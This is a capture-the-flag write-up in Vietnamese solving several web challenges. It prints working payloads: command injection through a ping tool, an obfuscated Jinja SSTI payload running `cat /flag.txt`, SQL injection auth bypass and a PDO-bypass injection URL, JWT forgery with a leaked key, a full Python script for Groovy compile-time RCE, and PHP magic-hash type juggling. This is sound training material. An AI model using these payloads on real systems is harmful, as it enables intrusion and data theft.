# WRITEUP MTA CTF
# WEB
## Well-done


- Như ta thấy chall đã gợi ý là dùng ping tool
- Ta sẽ thử ping `127.0.0.1; ls` để xem phía server có phản hồi không
- 
- Từ đây ta thấy được 1 file tên là `flag.txt` ở root `/`
=> Dùng `cat /flag.txt` để đọc file

**FLAG: MSEC{So_3asY_4_F1RsT_Ch4ll}**
## Hello World


- Nhập thử vào ô `Your name` rồi xem phản hồi của web

- Khi nhập thử `abc` thì trả về như trong ảnh
- Bây giờ ta sẽ thử payload SSTI cơ bản để thám thính (`{{7*7}}`)
- 
=> Trả về `49` => SSTI
- Khi nhập payload để liệt kê các file thì trả về `Hacking detected! 🚨` => Web đã chặn payload khai thác flag
- Ta sẽ thử decode payload `{% print lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')|attr('\x67\x65\x74')('\x6f\x73')|attr('\x70\x6f\x70\x65\x6e')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74')|attr('\x72\x65\x61\x64')() %}`
- 
- Đã trả về được flag => done
**Flag: MSEC{W3ll-C3m00000-BaBy}**
## Chicken Guy


- Theo như mô tả của chall thì ta có thể nghĩ ngay là SQLi
- Để kiểm chứng ta sẽ thử nhập username là `admin'--` và password bất kỳ để thám thính
- 
- Thật bất ngờ là trả về được flag => suy nghĩ của ta đã đúng
- Lỗi SQLi dạng authentication bypass, khi nhập `admin'--` thì password ở đằng sau đã bị comment lại => Database chỉ thực thi đoạn `WHERE username = 'admin'`, điều kiện này luôn `TRUE` nếu user admin tồn tại
**Flag: MSEC{SQL_So_3aSy_4_YYYY}**
## CVE-2025-*****



### Phân tích
#### Kiến trúc
- Next.js (app router)
- Authentication: sử dụng JSON Web Token (JWT)
#### Middleware

- File `middleware.js` là proxy cho các request vào `/dashboard`
- Kiểm tra cookie có tên là auth
- Nếu cookie không tồn tại hoặc giá trị không phải là `authenticated` thì user sẽ bị redirect về trang chủ `/`
- Ta thấy nó chỉ check giá trị string của cookie mà không verify signature hay tính hợp lệ của session phía server
#### Target endpoint
- File `app/api/flag/route.js` là nơi chứa flag 
- Request phải có header `Authorization: Bearer <token>`
- Token được verify bằng `process.env.SECRET_KEY`
- Sau khi decode, payload của token phải có`role` là `admin`
### Vuln
- Tại file `app/dashboard/page.js` có để lại một comment gợi ý  về một endpoint ẩn `Hint: /api/s*****`
- Middleware tin tưởng tuyệt đối vào input từ phía client (Cookie: `auth=authenticated`) => Ta có thể tự tạo cookie này để vượt qua lớp bảo vệ mà không cần login
- Ta truy cập được vào endpoint ẩn làm lộ `SECRET_KEY` thực sự của server
- Khi đã có `SECRET_KEY` ta có thể tự tạo bất kỳ token nào với quyền admin
### Exploit
#### Recon & tìm endpoint ẩn
- Dựa vào gợi ý trong `dashboard/page.js` là `/api/s*****`, ta đoán endpoint có thể là `/api/secret`, `/api/source`, hoặc `/api/status`. Khi truy cập thử `/api/secret` trên browser, server trả về `307` Redirect về trang chủ => chứng tỏ endpoint này TỒN TẠI nhưng đang bị chặn bởi Middleware
(Ta có thể dùng fuzz để quét endpoint)
#### Bypass middleware
- Để truy cập `api/secret`. ta cần lừa middleware bằng cách inject cookie
- Gửi request tới `api/secret` với cookie `Cookie: auth=authenticated`
- Server trả về JSON chứa Secket thật: `"secret_key":"Anh-tung-dep-trai-vc"` 🤡🤡🤡
#### Tạo admin token giả
- Sử dụng secret key vừa lấy được để tạo JWT Token để bypass check lại `api/flag/route.js`
- Ta có thể dùng jwt.io để có thể tạo JWT token với:
- Header: `{"alg": "HS256", "typ": "JWT"}`
- Payload: `{"role": "admin"}`
- Signature: Ký bằng key `Anh-tung-dep-trai-vc`
- Script python tạo token:
```python
import jwt
key = "Anh-tung-dep-trai-vc"
payload = {"role": "admin"}
token = jwt.encode(payload, key, algorithm="HS256")
print(token)
```
#### Lấy flag
- Gửi request cuối cùng tới endpoint `api/flag` trả về flag với token vừa tạo
``` json
{
"success": true,
"message": "Congratulations!",
"flag": "MSEC{Bypass_proxy_so_izzzzz}"
}
```
**Flag: MSEC{Bypass_proxy_so_izzzzz}**
## JVE-2025-*****


### Phân tích
- Theo `Dockerfile` và `pom.xml`
- File flag nằm tại `/flag.txt` được tạo với quyền user `oim` (UID 1000) và permission `400` (chỉ owner đọc được) 
- Trong `pom.xml`, project sử dụng `groovy-all` v3.0.9 => đây là một thư viện script động, thường là vector tấn công nếu bị khai thác ko an toàn
- Cơ chế bảo mật `SecurityFilter.java`
- Ứng dụng sử dụng 1 filter tự viết là `SecurityFilter`
- Filter này chặn hầu hết các request không xác thực, ngoại trừ các endpoint công khai như `/login`, `/static`
- Nếu user đăng nhạp (session `authenticated` là null hoặc false) request sẽ bị trả về lỗi 401
- Endpoint chức năng (`GroovyCompilationController.java`)
- Controller này nằm ở `/iam/governance/applicationmanagement/api/v1/applications`
- Có endpoint `/groovyscriptstatus` nhận một đoạn script groovy từ JSON body và thực hiện biên dịch
### Vuln
#### Authentication bypass
- Tại file `SecurityFilter.java` logic kiểm tra quyền truy cập một blackdoor dàn cho mục đích debug hoặc legacy support
- Đoạn code trên kiểm tra nếu URL có chứa query string là `WSDL` (không phân biệt hoa thường) filter sẽ cho phép request đi qua mà không kiểm tra session => Ta có thể truy cập bất kỳ API nào (kể cả admin) chỉ bằng cách thêm `?WSDL` vào cuối URL
#### RCE via groovy
- Tại `GroovyCompilationController.java`, endpoint `/groovyscriptstatus` xử lý input của user như sau: 
- Hàm `loader.parseClass(groovyScript)` biên dịch chuỗi string thành Java Class
- Mặc dù chỉ là biên dịch nhưng ngôn ngữ groovy có tính năng meta-programming mạnh, ta có thể sử dụng annotation `@ASTTest ` hoặc `@Grab` để explopit code ngay trong quá trình biên dịch mà không cần đợi class đó được khởi tạo hay gọi hàm
- Kết hợp với việc ứng dụng trả về `Exception message` khi có lỗi, ta có thể leak được output của lệnh thực thi
### Exploit
#### Xác định
- Target là endpoint biên dịch Groovy, nhưng đi kèm với bypass auth
- Url: `http://localhost:14000/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus?WSDL`
- Method: `POST`
- Content-type: `application/json`

#### Payload
- Ta sẽ sử dụng AST Transformation của Groovy để exploit lệnh hệ thống `cat /flag.txt`
- Vì server chỉ trả về `error` message khi có exception => ta sẽ throw một exception chứa kết quả của lệnh cat
**Payload Groovy:**
```java
@groovy.transform.ASTTest(value={
// lệnh đọc flag
def proc = "cat /flag.txt".execute()
proc.waitFor()
// Lấy kết quả trả về
def output = proc.in.text
// Ném lỗi chứa flag để server trả về trong JSON response
assert false : "Flag: " + output
})
def x
```
#### Gửi request
```html\
curl -X POST "http://ctf.msec.cloud-ip.cc:14000/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus?WSDL" \
-H "Content-Type: application/json" \
-d '{
"groovyScript": "@groovy.transform.ASTTest(value={ assert false : \"RESULT:\" + \"cat /flag.txt\".execute().text }) class Pwn {}"
}'
```
#### Lấy flag
- Server sẽ cố gắng biên dịch script. `@ASTTest` sẽ kích hoạt `cat /flag.txt`. Sau đó `assert false` sẽ gây ra lỗi biên dịch, và nội dung lỗi (chứa flag) sẽ được `GroovyCompilationController` bắt lại và trả về trong field `error` hoặc `output`
### FULL SCRIPT:
```python
import requests
import json
# Target Configuration
BASE_URL = "http://localhost:14000"
# Endpoint vulnerable to RCE, protected by Auth
VULN_PATH = "/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus"
# [!] Exploit Logic
# 1. Bypass Auth: Append ?WSDL
# 2. RCE: Use Groovy @ASTTest to execute command at compile time
# 3. Exfil: Throw result in an assertion error to see it in the response
target_url = f"{BASE_URL}{VULN_PATH}?WSDL"
print(f"[+] Target: {target_url}")
# Payload: Read /flag.txt which is set in Dockerfile
groovy_payload = """
@groovy.transform.ASTTest(value={
def proc = "cat /flag.txt".execute()
proc.waitFor()
// Throw exception to leak output in the JSON response
throw new RuntimeException("EXPLOIT_OUTPUT: " + proc.in.text)
})
class Pwn {}
"""
headers = {
"Content-Type": "application/json"
}
data = {
"groovyScript": groovy_payload
}
try:
print("[*] Sending malicious Groovy payload...")
response = requests.post(target_url, json=data, headers=headers)
# Parse output
if response.status_code == 200:
json_resp = response.json()
if "output" in json_resp and "EXPLOIT_OUTPUT" in json_resp["output"]:
# Extract flag from stack trace or error message
raw_output = json_resp["output"]
import re
flag = re.search(r"MSEC\{.*?\}", raw_output)
if flag:
print(f"\n[SUCCESS] FLAG FOUND: {flag.group(0)}")
else:
print("\n[!] Output found but no flag format:")
print(raw_output)
elif "error" in json_resp:
print(f"\n[!] Error from server: {json_resp['error']}")
# Check if flag is in error message
if "MSEC{" in json_resp['error']:
print(f"[SUCCESS] FLAG FOUND in Error: {json_resp['error']}")
else:
print("\n[?] Unexpected response:")
print(json_resp)
else:
print(f"[!] Request failed. Status: {response.status_code}")
print(response.text)
except Exception as e:
print(f"[!] Exploit failed: {e}")
```
**FLAG: MSEC{Y0U_ARE_A_RE_G0D_!!}**
## BlackD00r


### Phân tích
#### Cơ chế đăng nhập (`login.php`)
- Trong file `login.php` xử lý đăng nhập theo 2 nhánh:
- User thường: sử dụng `password_verify` (brypt)
- Admin: sử dụng `sha1($password) === $user['password']`
=> SHA-1 đã lỗi thời và rất dễ bị crack. Nếu ta có hash của admin thì ta có thể tìm ra password gốc
#### Backdoor: `bid_handler.php`
- Trong file `bid_handler.php` sử dụng extention `runkit` để tạo hàm `ruleCheck` động từ db 
- Biến `$rule` được lấy trực tiếp từ bảng `auctions` trong db
=> Nếu ta kiểm soát được nội dung cột `rule` trong db, ta có thể chèn code PHP => RCE
#### Admin panel
- File `admin.php` cho phép admin chỉnh sửa `rule` và `message` của các phiên đấu giá => flag được hardcode trong file này 
### Vuln
- **Lỗ hổng SQL Injection** `inventory.php`: các tham số `user_id` và `sort` được truyền vào các truy vấn SQL mà không được xử lý đúng cách, cho phép thực thi các lệnh SQL tùy ý thông qua việc chèn dấu ngoặc kép ngược 
- **Quá trình xử lý trong admin panel**: dynamic rules system cho các cuộc đấu giá sử dụng `runkit_function_add()` để tạo động các hàm PHP từ dữ liệu đầu vào của user, mở ra kẽ hở cho RCE
**Chain: SQL Injection → trích xuất thông tin đăng nhập → truy cập admin panel → lấy flag**
### Exploit
#### SQL Injection để trích xuất thông tin đăng nhập
- `inventory.php` các tham số user được xử lý một cách đáng nghi. Sau khi phân tích chi tiết hơn ta thấy: các tham số `user_id` và `sort` được đưa trực tiếp vào các truy vấn SQL mà không qua bất kỳ bộ lọc nào => Đây là lỗi tấn công SQL injection kinh điển thông qua việc chèn dấu ngoặc kép ngược (backtick). Để khai thác lỗi này, ta sử dụng payload sau:
```
http: //localhost:8080/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00
```
- Key point để bypass PDO
- `\?` : Dấu backslash trước dấu chấm hỏi làm hỏng quá trình phát hiện tham số vì PDO quét `?` các phần giữ chỗ trước khi phân tích cú pháp MySQL và không nhận ra biến thể được mã hóa
-` %00` : bull byte gây ra hiện tượng cắt ngắn chuỗi ở cấp độ C trong trình điều khiển MySQL, dẫn đến việc cắt bỏ phần còn lại của truy vấn

#### Truy cập admin panel
- Như ta thấy ta đã trích xuất được thông tin của `admin` kèm pasword đã bị bcrypt (`b78034aacf3559fffbfcb545d9a9122efb93181f`)
- Ta tra passwod bcrypt trên thì trả về password là `iloveu`
(https://gist.github.com/roycewilliams/226886fd01572964e1431ac8afc999ce)
- Login vào `admin:iloveu`
=> Trả về được flag ở admin panel
**Flag: MSEC{PDO_So_danger}**
## RealHacker
- chall này khác đặc biệt
- Khi vào link chall ta thấy xuất hiện là 1 trang login bình thường
- Khi ta thử nhập username và password bất kỳ rồi nhấn sign up thì sẽ trả về`User not found`
- Ta sẽ thử nhập các username đặc biệt như `admin`, `administrator`,v...v.. và bất ngờ là khi nhập username=`admin` và password bất kỳ thì trả về error `Invalid credentials` => username=`admin` có tồn tại và ta phải đi tìm mật khẩu của nó
- Nhưng việc mò mật khẩu gần như vô vọng
- Ở đây ta sẽ nghĩ đến việc nếu ta cho password là dạng `array` thì sẽ như thế nào

- Thật bất ngờ là trả về md5 => server đang hash password đầu vào bằng MD5 rồi mới so sánh
- Trong php nếu một chuỗi bắt đầu bằng `0e` theo sau toàn bộ (ví dụ `0e123456`) PHP sẽ coi nó là ký hiệu khoa học của số 0 ($0 \times 10^{n}$) => `0e123...` == `0e456...` (do `0==0`)
- Ta nghĩ hash mật khẩu của admin trong db là một chuỗi bắt đầu bằng `0e` và toàn số.
- Bây giờ ta cần nhập một password sao cho `md5(password)` cũng ra kết quả `0e`
[PHP type juggling (magic hash)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md)
- Ta sẽ thử nhập `240610708`
- `md5("240610708") = 0e462097431906509019562988736854`
=> Thật bất ngờ!!! trả về flag part 1 => suy nghĩ của ta đã đúng

- Cũng với suy nghĩ đó ta sẽ thử tìm một username khác nếu trả về `Invalid Credentials` thì tức là username đó tồn tại trong db
- Ta thử nghĩ đến việc dùng SQLi như `admin'--` nhưng đều trả về `User not found` => từ đây có thể thấy mọi payload SQLi nhập vào không có tác dụng
- Tôi đã thử mò các username khác và phát hiện ra username=`guest` và password=`guest123` nhưng thật buồn vì nó chỉ là một dịch vụ 
- Bất lực khi cố mò username trả về `Invalid credentials`
- Tôi đã thử nghĩ liệu rằng là challenge này có port khác không, khi phần mô tả của challenge nói `Lắp rạp lại thành flag`
- Từ đây tôi đã thử dùng nmap để quét xem còn có port nào khác mà tôi không biết
`nmap -p- -T4 -v 160.191.49.168`
- THẬT BẬT NGỜ là tồn tại port khác mà tôi không biết, không những thế còn có tận 2 port dịch vụ khác là `534` và `768`
### port 534

- Ta thấy được là ở port này ta có cái endpoint như `api/status` và `api/health`
- Ta đây ta lại có nghi ngờ rằng là liệu còn có endpoint nào khác không
- Để kiểm chứng tôi đã dùng fuzz để quét endpoint
- Và thực sự nghi ngờ của tôi đã đúng => tìm ra được endpoint `secrets`
- Truy cập tới endpoint trên thì ta tìm ra được flag part 2 là:
`{"message":"Congratulations! You found the hidden endpoint.","flag_part2":"haking_is_"}`
### port 768

- Ở port này khi ta ấn thử vào các profile ở trang chính thì trên url trả về `/profile?id=1` (khi nhấn vào profile của John Smith)
=> Ta nghĩ ngay tới IDOR
- Ta sẽ thử các ID quen thuộc mang tính mặc định của hệ thống như `999`, `1337`
- Bất ngờ là id `1337` thật sự đã trả về profile của admin kèm flag 
- Ghép các phần flag lại ta được flag hoàn chỉnh là: `MSEC{Real_haking_is_this}`
**FLAG: MSEC{Real_haking_is_this}**